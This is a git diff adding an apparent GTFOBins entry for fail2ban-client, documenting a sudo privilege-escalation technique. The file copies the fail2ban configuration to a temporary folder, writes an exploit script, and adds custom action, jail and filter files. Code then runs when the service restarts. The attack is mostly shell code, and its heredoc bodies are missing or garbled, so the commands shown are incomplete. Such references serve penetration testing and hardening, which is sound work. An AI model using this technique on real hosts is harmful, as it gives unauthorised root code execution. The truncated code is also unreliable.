diff --git a/_gtfobins/fail2ban-client.md b/_gtfobins/fail2ban-client.md new file mode 100644 index 00000000..ba3e1168 --- /dev/null +++ b/_gtfobins/fail2ban-client.md @@ -0,0 +1,33 @@ +--- +functions: + sudo: + - description: | + Loading tempered configuration file including code. + Requires restarting the service. + Since we, most likely, can't write into /etc/fail2ban/, we can copy the configuration folder to a temporary location and load this copy. + code: | + TD_conf=$(mktemp -d) + rsync -av /etc/fail2ban/ $TD_conf + TD_exploit=$(mktemp -d) + cat > $TD_exploit/exploit < $TD_conf/action.d/custom-start-command.conf <> $TD_conf/jail.local < $TD_conf/filter.d/my-custom-jail.conf <